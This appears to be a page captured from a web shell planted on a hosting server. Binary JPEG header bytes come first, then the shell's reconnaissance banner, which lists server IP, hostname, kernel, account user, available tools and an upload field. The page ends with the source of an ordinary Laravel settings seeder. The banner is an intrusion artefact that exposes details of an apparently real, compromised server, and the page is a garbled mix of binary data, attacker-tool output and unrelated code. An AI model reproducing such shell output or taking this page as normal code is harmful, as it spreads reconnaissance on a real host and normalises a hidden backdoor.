����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/root/home/builderbox/././././www/common/Database/Seeds/ |
Upload File : |
<?php namespace Common\Database\Seeds;
use Carbon\Carbon;
use Illuminate\Support\Arr;
use Common\Settings\Setting;
use Illuminate\Database\Seeder;
class SettingsTableSeeder extends Seeder
{
/**
* @var Setting
*/
private $setting;
/**
* @param Setting $setting
*/
public function __construct(Setting $setting)
{
$this->setting = $setting;
}
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
$defaultSettings = config('common.default-settings');
$names = [];
$defaultSettings = array_map(function ($setting) use (&$names) {
$names[] = $setting['name'];
$setting['created_at'] = Carbon::now();
$setting['updated_at'] = Carbon::now();
//make sure all settings have "private" field to
//avoid db errors due to different column count
if (!array_key_exists('private', $setting)) {
$setting['private'] = 0;
}
// cast booleans to string as "insert"
// method will not use Setting model setters
if ($setting['value'] === true) {
$setting['value'] = 'true';
} elseif ($setting['value'] === false) {
$setting['value'] = 'false';
}
$setting['value'] = (string) $setting['value'];
return $setting;
}, $defaultSettings);
$existing = $this->setting->whereIn('name', $names)->pluck('name');
//only insert settings that don't already exist in database
$new = array_filter($defaultSettings, function ($setting) use (
$existing
) {
return !$existing->contains($setting['name']);
});
$this->setting->insert($new);
$this->mergeMenusSetting($defaultSettings);
}
/**
* Merge existing menus setting json with new one.
*
* @param array $defaultSettings
*/
private function mergeMenusSetting($defaultSettings)
{
$existing =
json_decode(
$this->setting->where('name', 'menus')->first()->value,
true,
) ?? [];
$new = json_decode(
Arr::first($defaultSettings, function ($value) {
return $value['name'] === 'menus';
})['value'],
true,
);
foreach ($new as $menu) {
$alreadyHas = Arr::first($existing, function ($value) use ($menu) {
return $value['name'] === $menu['name'];
});
if (!$alreadyHas) {
$existing[] = $menu;
}
}
$this->setting
->where('name', 'menus')
->update(['value' => json_encode($existing)]);
}
}